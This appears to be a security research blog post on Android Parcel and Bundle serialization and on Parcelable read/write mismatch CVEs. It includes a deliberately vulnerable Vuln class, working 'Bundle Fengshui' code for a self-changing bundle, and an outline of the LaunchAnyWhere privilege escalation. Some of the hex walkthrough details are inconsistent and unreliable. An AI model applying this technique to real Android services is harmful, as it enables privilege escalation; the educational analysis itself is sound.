Introduction
In Android, most of the IPC (Inter-process communication) is carried out using the Binder class. Binder is a core Android framework component that enables communication between processes running in the same or different applications. The Binder class utilizes Parcel objects to transfer the data between processes. Parcel is a container for a message (data and object references) that can be sent through Binder’s IBinder interface.
Basic Parcel usage
The Parcel is usually sent to another process through Binder. For testing or usage in the same process, one can call p.setDataPosition(0) to rewind parcel to beginning position and start reading.
Writing data to a Parcel:
1
2
3
4
5
6
7
8
Parcel parcel = Parcel.obtain();
parcel.writeInt(42); // Write an integer
parcel.writeFloat(3.14f); // Write a float
parcel.writeString("Hello, world!"); // Write a string
parcel.setDataPosition(0); // Reset the data position to the beginning
Reading data from a Parcel:
1
2
3
4
5
6
int intValue = parcel.readInt(); // Read an integer
float floatValue = parcel.readFloat(); // Read a float
String stringValue = parcel.readString(); // Read a string
parcel.recycle(); // Recycle the parcel for reuse
Parcel internally holds position from which the reads are performed. The Parcel class user should ensure that read* methods match previously used write* methods, otherwise subsequent reads will be from wrong positions in buffer as we’ll see later.
Implementing Parcelable for a custom class:
Android provides a unique Parcelable interface that can be used to write and read custom Parcelable objects. As long as this interface is implemented, an object of the class can be serialized and transmitted through an Intent or Binder. A basic implementation is used in the following example.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public class MyParcelable implements Parcelable {
private int id;
private String name;
// Constructor
public MyParcelable(int id, String name) {
this.id = id;
this.name = name;
}
// Parcelable implementation
protected MyParcelable(Parcel in) {
id = in.readInt();
name = in.readString();
}
public static final Creator<MyParcelable> CREATOR = new Creator<MyParcelable>() {
@Override
public MyParcelable createFromParcel(Parcel in) {
return new MyParcelable(in);
}
@Override
public MyParcelable[] newArray(int size) {
return new MyParcelable[size];
}
};
@Override
public int describeContents() {
return 0;
}
@Override
public void writeToParcel(Parcel dest, int flags) {
dest.writeInt(id);
dest.writeString(name);
}
}
Writing and reading custom Parcelable objects:
1
2
3
4
5
6
7
8
9
10
// Writing a custom Parcelable object
MyParcelable myParcelable = new MyParcelable(1, "Sample");
Parcel parcel = Parcel.obtain();
parcel.writeParcelable(myParcelable, 0);
// Reading a custom Parcelable object
parcel.setDataPosition(0); // Reset the data position to the beginning
myParcelable readCustomData = parcel.readParcelable(MyParcelable.class.getClassLoader());
parcel.recycle();
Bundle
We know that Intents are used in Android to pass to the data from one activity to another. But there other ways that can be used to pass the data from one activity to another, one of them that does so in a better manner and with less code space as compared to the use of intents is Bundles utilization. Bundle is a class in android which is used to pass data from one activity to another activity within an android application.
Serializable Parcelable objects are generally not serialized and transmitted separately, but are carried by Bundle objects. The internal implementation of a Bundle is actually Hashmap, that stores data in the form of Key-Value pairs. For example, an Intent object can carry a Bundle object, and a key-value pair can be added to the Bundle object of the Intent by using the putExtra(key, value) method. The Key must be a String type, while Value can made up of various data types, including int, Boolean, String, and Parcelable objects, etc. These types of information are maintained in the Parcel class.
Look at the types and their numerical representation in Parcel.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// Keep in sync with frameworks/native/include/private/binder/ParcelValTypes.h.
private static final int VAL_NULL = -1;
private static final int VAL_STRING = 0;
private static final int VAL_INTEGER = 1;
private static final int VAL_MAP = 2; // length-prefixed
private static final int VAL_BUNDLE = 3;
private static final int VAL_PARCELABLE = 4; // length-prefixed
private static final int VAL_SHORT = 5;
private static final int VAL_LONG = 6;
private static final int VAL_FLOAT = 7;
private static final int VAL_DOUBLE = 8;
private static final int VAL_BOOLEAN = 9;
private static final int VAL_CHARSEQUENCE = 10;
private static final int VAL_LIST = 11; // length-prefixed
private static final int VAL_SPARSEARRAY = 12; // length-prefixed
private static final int VAL_BYTEARRAY = 13;
private static final int VAL_STRINGARRAY = 14;
private static final int VAL_IBINDER = 15;
private static final int VAL_PARCELABLEARRAY = 16; // length-prefixed
private static final int VAL_OBJECTARRAY = 17; // length-prefixed
private static final int VAL_INTARRAY = 18;
private static final int VAL_LONGARRAY = 19;
private static final int VAL_BYTE = 20;
private static final int VAL_SERIALIZABLE = 21; // length-prefixed
private static final int VAL_SPARSEBOOLEANARRAY = 22;
private static final int VAL_BOOLEANARRAY = 23;
private static final int VAL_CHARSEQUENCEARRAY = 24;
private static final int VAL_PERSISTABLEBUNDLE = 25;
private static final int VAL_SIZE = 26;
private static final int VAL_SIZEF = 27;
private static final int VAL_DOUBLEARRAY = 28;
private static final int VAL_CHAR = 29;
private static final int VAL_SHORTARRAY = 30;
private static final int VAL_CHARARRAY = 31;
private static final int VAL_FLOATARRAY = 32;
When serializing the Bundle, the length carrying all the data, the Bundle magic number (0x4C444E42) and the key-value pair are written in sequence. Have a look at the BaseBundle.writeToParcelInner method
1
2
3
4
5
6
7
8
9
10
11
int lengthPos = parcel.dataPosition();
parcel.writeInt(-1); // dummy, will hold length
parcel.writeInt(BUNDLE_MAGIC);
int startPos = parcel.dataPosition();
parcel.writeArrayMapInternal(map);
int endPos = parcel.dataPosition();
// Backpatch length
parcel.setDataPosition(lengthPos);
int length = endPos - startPos;
parcel.writeInt(length);
parcel.setDataPosition(endPos);
The parcel.writeArrayMapInternal method that writes the key-value pairs begins by writing the number of Hashmaps, and then writes keys and their values.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
* Flatten an ArrayMap into the parcel at the current dataPosition(),
* growing dataCapacity() if needed. The Map keys must be String objects.
*/
/* package */ void writeArrayMapInternal(@Nullable ArrayMap<String, Object> val) {
if (val == null) {
writeInt(-1);
return;
}
// Keep the format of this Parcel in sync with writeToParcelInner() in
// frameworks/native/libs/binder/PersistableBundle.cpp.
final int N = val.size();
writeInt(N);
if (DEBUG_ARRAY_MAP) {
RuntimeException here = new RuntimeException("here");
here.fillInStackTrace();
Log.d(TAG, "Writing " + N + " ArrayMap entries", here);
}
int startPos;
for (int i=0; i<N; i++) {
if (DEBUG_ARRAY_MAP) startPos = dataPosition();
writeString(val.keyAt(i));
writeValue(val.valueAt(i));
if (DEBUG_ARRAY_MAP) Log.d(TAG, " Write #" + i + " "
+ (dataPosition()-startPos) + " bytes: key=0x"
+ Integer.toHexString(val.keyAt(i) != null ? val.keyAt(i).hashCode() : 0)
+ " " + val.keyAt(i));
}
}
Another point to note is that when calling writeValue, the type of the value is written and then the value itself is written. If it is a Parcelable object, the writeParcelable method is called after which it invokes the writeToParcel method of the Parcelable object.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public void writeValue(int type, @Nullable Object v) {
switch (type) {
case VAL_NULL:
break;
case VAL_STRING:
writeString((String) v);
break;
case VAL_INTEGER:
writeInt((Integer) v);
break;
case VAL_MAP:
writeMap((Map) v);
break;
case VAL_BUNDLE:
// Must be before Parcelable
writeBundle((Bundle) v);
break;
case VAL_PERSISTABLEBUNDLE:
writePersistableBundle((PersistableBundle) v);
break;
case VAL_PARCELABLE:
// IMPOTANT: cases for classes that implement Parcelable must
// come before the Parcelable case, so that their specific VAL_*
// types will be written.
writeParcelable((Parcelable) v, 0);
break;
case VAL_SHORT:
writeInt(((Short) v).intValue());
break;
The deserialization process is the exact opposite of the serialization process. The length of all data carried by the Bundle, the Bundle magic number (0x4C444E42), key and the value are read in sequence. If the value is a Parcelable object, the readFromParcel
method of the object is called to rebuild the object.
To visualize the above, let’s make a simple serialized Bundle and log it using logcat.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//Create a simple bundle
Bundle bundle = new Bundle();
String string = "Hello";
int integer = 1234;
byte[] byteArray = {'c', 'h', 'a', 'l', 'i', 'e'};
bundle.putString("string", string);
bundle.putInt("integer", integer);
bundle.putByteArray("byte_array", byteArray);
// Serialize the Bundle (write)
Parcel parcel = Parcel.obtain();
bundle.writeToParcel(parcel, 0);
byte[] parcelData = parcel.marshall();
// Print the Bundle using logcat
Log.d(TAG, "Bundle object :"+byteArrayToHexString(parcelData));
Add the method below to aid in btearray to hex conversion.
1
2
3
4
5
6
7
private String byteArrayToHexString(byte[] bytes) {
StringBuilder sb = new StringBuilder();
for (byte b : bytes) {
sb.append(String.format("%02X ", b));
}
return sb.toString();
}
Copy the output from logcat and save it to a file using xxd
:
1
echo "74 00 00 00 42 4E 44 4C 03 00 00 00 06 00 00 00 73 00 74 00 72 00 69 00 6E 00 67 00 00 00 00 00 00 00 00 00 05 00 00 00 48 00 65 00 6C 00 6C 00 6F 00 00 00 0A 00 00 00 62 00 79 00 74 00 65 00 5F 00 61 00 72 00 72 00 61 00 79 00 00 00 00 00 0D 00 00 00 06 00 00 00 63 68 61 6C 69 65 00 00 07 00 00 00 69 00 6E 00 74 00 65 00 67 00 65 00 72 00 00 00 01 00 00 00 D2 04 00 00" | xxd -r -p > bundle_object.bin
From there you can visualize the structure in hex using xxd:
1
xxd bundle_object.bin
From the above, the structure of a serialized Bundle object consists of:
- Bundle Length: A 4-byte integer representing the total length of the Bundle, excluding the Bundle Length field itself.
- Bundle Magic: A 4-byte magic code (‘B’ ‘N’ ‘D’ ‘L’) used to identify the Bundle format.
- Bundle Data: The serialized key-value pairs contained in the Bundle.
The Bundle Data itself has the following structure for each key-value pair:
- Key Length: A 4-byte integer representing the length of the key string.
- Key: The key string encoded in UTF-16 format.
- Value Type: A 4-byte integer representing the type of the value (e.g., Parcelable, Serializable, String, Integer, etc.)[13 for the byte array, 1 for the integer, 0 for the string, etc]
- Value: The serialized value, the structure of which depends on the Value Type.
This is a simplified outline of the structure, and there may be additional fields depending on the specific implementation and version of the Android platform. Note that the actual byte-level serialization of the Bundle may vary based on the Android platform version and implementation.
Serialization (write) and Deserialization (read) Mismatches
From as early as 2017, Android security bulletins have been announcing a series of high-risk privilege escalation vulnerabilities in the system framework layer based on parcelable implementations as shown in the following table.
CVE | Parcelable object | CVE | Parcelable object |
---|---|---|---|
CVE-2017-0806 | GateKeeperResponse | CVE-2018-9474 | MediaPlayer TrackInfo |
CVE-2017-0664 | AccessibilityNodelnfo | CVE-2018-9431 | OSUInfo |
CVE-2017-13288 | PeriodicAdvertisingReport | CVE-2018-9522 | StatsLogEventWrapper |
CVE-2017-13289 | ParcelableRttResults | CVE-2018-9523 | Parcel.writeMapintemal() |
CVE-2017-13286 | OutputConfiguration | CVE-2021-0748 | ParsingPackagelmpl |
CVE-2017-13287 | VerifyCredentialResponse | CVE-2021-0928 | OutputConfiguration |
CVE-2017-13315 | DcParamObject | CVE-2021-0685 | ParsedIntentInfol |
CVE-2017-13310 | ViewPager’s SavedState | CVE-2021-0921 | ParsingPackagelmpl |
CVE-2017-1331Z | ParcelableCasData | CVE-2021-0970 | GpsNavigationMessage |
CVE-2017-13311 | ProcessStats | CVE-2021-39676 | AndroidFuture |
CVE-2018-9471 | NanoAppFilter | CVE-2022-20135 | GateKeeperResponse |
CVE-2023-20963 | WorkSource |
These batch of vulnerabilities are very innovative, and seem to be an interesting bug class in Android. A common feature in this bug class is the inconsistency in the writing (serialization) and reading (deserialization) of Parcelable objects in the framework. Some system classes that implement Parcelable may contain errors in the createFromParcel() and writeToParcel() methods. In these classes, the number of bytes read in createFromParcel() will differ from the number of bytes written in writeToParcel(). If you place an object of a class with a read and write mismatch inside a Bundle, the object boundaries inside the Bundle will change after reserialization.
An basic example would be the following code snippet.
Parcelable Write
1
2
3
4
public void writeToParcel(Parcel parcel, int flags) {
parcel.writeInt(v1);
parcel.writeByteArray(v2);
}
Parcelable Read
1
2
3
4
v1 = parcel.readInt();
if (v1 > 0) {
parcel.readByteArray(v2);
}
The snippet above has a basic logic error in that if the value of v1 = 0
, the parcel.readByteArray(v2);
would never be executed as the condition v > 0
would always be false if the value of v1
is equal or less than 0
.
Improper Parcelable implementation - case study
Now that we have most of the necessary information on these types of vulnerabilities, let’s see how we can exploit such. We’ll begin by creating an application that has a Parcel read/Write mismatch.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public class Vuln implements Parcelable {
byte[] data;
public Vuln(){
this.data = new byte[0];
}
protected Vuln(Parcel in) {
int length = in.readInt();
data = new byte[length];
if (length > 0) {
in.readByteArray(data); //never executed if the length is less than or equal to 0
}
}
@Override
public int describeContents() {
return 0;
}
public static final Creator<Vuln> CREATOR = new Creator<Vuln>() {
@Override
public Vuln createFromParcel(Parcel in) {
return new Vuln(in);
}
@Override
public Vuln[] newArray(int size) {
return new Vuln[size];
}
};
@Override
public void writeToParcel(@NonNull Parcel parcel, int i) {
parcel.writeInt(data.length);
parcel.writeByteArray(data);
}
}
In the above, the application uses the Parcelable interface to implement a custom class named Vuln
. If you have been keen up to now, you should have already spotted the error in the Parcelable interface implementation above.
Root Cause Analysis
From the above, if the data
byte-array size is 0, then when creating a Vuln
object, 8-bytes(two int) will be written in writeToParcel()
. We have 8-bytes being written as the first int gets written by explicitly calling writeInt
that writes the integer data.length
which equals 0 (4 bytes) and the second int gets written when calling writeByteArray()
that writes the byte-array data
which also equals 0 (4 bytes), since the array length is always written before the array in Parcel. When the createFromParcel()
method is called, it reads the length of the byte array data.length
which is 0 in this case and does not execute the in.readByteArray(data)
line since the length is not greater than 0. As a result, the Vuln object created fr om the parcel will also have a data-array of size 0 that is an int (4 bytes). See at the image below:
In a situation where the data array size equals 0 as the above, the program will keep running with no errors, but you have to transmit one serialized object at a time otherwise the program throws errors. To illustrate this, let’s use the above class to implement a Vuln object with a zero array length in a Bundle:
1
2
3
4
5
6
//Create a simple bundle
Bundle bundle = new Bundle();
Parcelable vuln = new Vuln();
bundle.putParcelable("0",vuln);
bundle.putInt("1",1);
Setting a breakpoint at the point where the zero-length Vuln object is added to the Bundle and stepping twice, we see that the bundle gets both objects with no errors.
Let’s deserialize the Bundle:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//Create a simple bundle
Bundle bundle = new Bundle();
Parcelable vuln = new Vuln();
bundle.putParcelable("0",vuln);
bundle.putInt("1",1);
// Serialize the Bundle
Parcel parcel = Parcel.obtain();
bundle.writeToParcel(parcel, 0);
parcel.setDataPosition(0);
// Deserialize the Bundle
Bundle testBundle = new Bundle(this.getClass().getClassLoader());
testBundle.readFromParcel(parcel);
testBundle.keySet();
Setting a breakpoint when the bundle deserialization begins and stepping four times, the application throws a RunTime exception.
Let’s have a look at the parcel fragment to better undertstand why this happens.
From the above, we see that instead of two int, one int was read in the createFromParcel()
method during deserialization. Therefore, all subsequent values from the Bundle were read incorrectly. The 0x0 value at 0x4a was read as the length of the next key. The 0x1 value at 0x4f was read as a key. The 0x31 value at 0x52 was read as a value type. Parcel has no values with type 0x31, therefore the readFromParcel()
method raises the exception.
Bundle Fengshui - Exploitation
The above error in the Parcelable system classes enables the creation of Bundles that may differ during the first and repeated deserializations hence the exploit technique (Android self changing bundle). To craft an exploit for such a bug, we cleverly craft the bundle (the process is known as Bundle Fengshui) in a manner that it passes hidden data that is only visible after the second deserialization.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// Bundle Fengshui
Parcel parcel_data = Parcel.obtain();
parcel_data.writeInt(3); // number of items
parcel_data.writeString("vuln_class");
parcel_data.writeInt(4); // the value is Parcelable type
parcel_data.writeString("com.chalie.cve.Vuln");
parcel_data.writeInt(0); // data.length
parcel_data.writeInt(1); // key length -> key value
parcel_data.writeInt(6); // key value -> the value is of type long
parcel_data.writeInt(0xD); // the value is a bytearray type -> low(long)
parcel_data.writeInt(-1); // bytearray length dummy -> high(long)
int startPos = parcel_data.dataPosition();
parcel_data.writeString("invisible"); // bytearray data -> hidden key
parcel_data.writeInt(0); // the value is of type string
parcel_data.writeString("I appear from thin air"); // hidden value
int endPos = parcel_data.dataPosition();
int triggerLen = endPos - startPos;
parcel_data.setDataPosition(startPos - 4);
parcel_data.writeInt(triggerLen); // overwrite dummy value with the real value
parcel_data.setDataPosition(endPos);
parcel_data.writeString("padding_data");
parcel_data.writeInt(0); // the value is of type string
parcel_data.writeString("this is the padding data key value");
int length = parcel_data.dataSize();
Parcel fengshui = Parcel.obtain();
fengshui.writeInt(length);
fengshui.writeInt(0x4C444E42); // bundle magic number
fengshui.appendFrom(parcel_data, 0, length);
fengshui.setDataPosition(0);
//first deserialization
Bundle bundle = new Bundle(this.getClass().getClassLoader());
bundle.readFromParcel(fengshui);
bundle.keySet();
We place a breakpoint at bundle.keySet();
and step once, then inspect the contents of the bundle.
We can see the contents after the first deserialization. A bundle object dump at this point would be as follows: During the first Deserialization:
At offset 00000000, the four bytes 2401 0000 denote the length of the Parcel, which is 0x124 bytes. The next four bytes 424e 444c are the magic string “BNDL” indicating the start of a Bundle. The next four bytes 0300 0000 indicate the Bundle’s version number, which is 3.
At offset 00000010 to 00000060, the first key-value pair starts. The four bytes 0a00 0000 denote the length of the key, which is 10. The following 10 bytes 7600 7500 6c00 6e00 5f00 6300 6c00 6100 7300 7300 represent the key “vuln_class” in Unicode encoding.
The next four bytes 0400 0000 denote the type of the value, which is 4, indicating a Parcelable object. The following four bytes 1300 0000 denote the length of the Parcelable object’s class name, which is 19.
At offset 00000030 to 00000050, the 19 bytes represent the class name “com.chalie.cve.Vuln” in Unicode encoding.
Then, we have the Parcelable object itself. The first four bytes 0100 0000 denote the number of Parcelable objects, which is 1. The next four bytes 0600 0000 denote the length of the Parcelable object, which is 6.
At offset 00000060 to 00000070, the six bytes 0d00 0000 5000 0000 represent the Parcelable object. The Vuln class reads the first four bytes 0d00 0000 as an integer, which is 0 (in little-endian format). This is the length of the Vuln object’s byte array.
Since the length is 0, the Vuln object doesn’t read any more data from the Parcel. The Parcel’s data position is now at the end of the Parcelable object, and the first deserialization stops.
Let’s serialize the bundle and deserialize it again
1
2
3
4
5
6
7
8
9
//second serialization
Parcel parcel = Parcel.obtain();
parcel.writeBundle(bundle);
parcel.setDataPosition(0);
//second deserialization
Bundle test_bundle = new Bundle(this.getClass().getClassLoader());
test_bundle.readFromParcel(parcel);
test_bundle.keySet();
After placing a breakpoint at test_bundle.keySet();
, step once and inspect the contents of the test_bundle.
After the second deserialization, the Bundle now contains the Hidden key (with the string value “I appear from thin air”), which was not there before. Let’s have a look at the parcel fragment to better undertstand why this happens. From the above, we can see that the structure remains unchanged but how the data is read is what makes the diference. During the second deserialization:
The Bundle starts deserializing from the current position in the Parcel, which is right after the Vuln object.
At offset 00000070 to 000000b0, the next key-value pair starts. The four bytes 0900 0000 denote the length of the key, which is 9. The following 9 bytes 6900 6e00 7600 6900 7300 6900 6200 6c00 6500 represent the key “invisible” in Unicode encoding.
The next four bytes 0000 0000 0000 1600 0000 denote the type of the value, which is 16, indicating a String object, and the length of the String, which is 22. The following 22 bytes 4900 2000 6100 7000 7000 6500 6100 7200 2000 6600 7200 6f00 6d00 2000 7400 6800 6900 6e00 2000 6100 6900 7200 represent the String “I appear from thin air” in Unicode encoding.
The next key-value pair starts at offset 000000b0. The four bytes 0c00 0000 denote the length of the key, which is 12. The following 12 bytes 7000 6100 6400 6400 6900 6e00 6700 5f00 6400 6100 7400 6100 represent the key “padding_data” in Unicode encoding.
The next four bytes 0000 0000 0000 2200 0000 denote the type of the value, which is 22, indicating another String object, and the length of the String, which is 34. The following 34 bytes 7400 6800 6900 7300 2000 6900 7300 2000 7400 6800 6500 2000 7000 6100 6400 6400 6900 6e00 6700 2000 6400 6100 7400 6100 2000 6b00 6500 7900 2000 7600 6100 6c00 7500 6500 represent the String “this is the padding data key value” in Unicode encoding.
So, in the second deserialization, the “invisible” and “padding_data” key-value pairs appear in the Bundle, which were not read during the first deserialization.
And below is how the string get’s read during the second deserialization.
The image above shows how the key is read
The image above shows how the value is read. The three images are Parcel structures of a Bundle object with the vulnerable class after two serialization and deserialization cycles
LaunchAnyWhere
Retme provides a detailed analysis of the LaunchAnyWhere vulnerability. The image below from his blog briefly gives a high level overview of the vulnerability.
When an ordinary application (denoted as AppA) requests to add a certain type of account, it will call AccountManager.addAccount, and then AccountManager will search for the application that provides the account (denoted as AppA) The Authenticator class of AppB) calls the Authenticator.addAccount method; AppA invokes the account login interface of AppB according to the Intent returned by AppB.
AppB, passes a Bundle object to AccountManagerService in system_server through Binder, and a key-value pair {KEY_INTENT:intent} contained in this Bundle object will eventually be passed to the Settings system application, which will call startActivity(intent). The key to the vulnerability is that the intent can be arbitrarily specified by ordinary AppB, so since the Settings application is a high-privilege system user (uid=1000), the last startActivity(intent) can start any activity on the phone, including unexported activities. For example, if com.android.settings.password.ChooseLockPassword in Settings is specified in the intent as the target Activity, the lock screen password can be reset without the original lock screen password being requested.
Google’s fix for this vulnerability was by making sure that the UID of the app associated with Activity to be launched by the supplied intent and the Authenticators UID shared the same signature. Which meant that an authenticator implementer could only exploit apps that they control.
Conclusion
In conclusion, we have done an in-depth exploration of Android Parcels, Bundles, and the history of serialization and deserialization mismatch vulnerabilities within the Android ecosystem. As developers and security researchers continue to improve the Android platform’s robustness, understanding the intricacies of these components is crucial for building secure applications.Throughout this article, we delved into the mechanisms behind Android Parcels and Bundles, which facilitate the communication of complex data structures between different components of an application. By examining past vulnerabilities, developers can gain insights into potential pitfalls and learn from previous mistakes.The case study on Improper Parcelable implementation served as a valuable example of how a seemingly minor oversight in Parcelable implementation could lead to significant security risks where an attacker might create self changing bunldes that have the potential of posing serious securiity threats as demonstrated by the LaunchAnywhere bug. This underlines the need for a thorough understanding of Parcelable best practices and careful implementation to avoid introducing vulnerabilities into Android applications.
Comments powered by Disqus.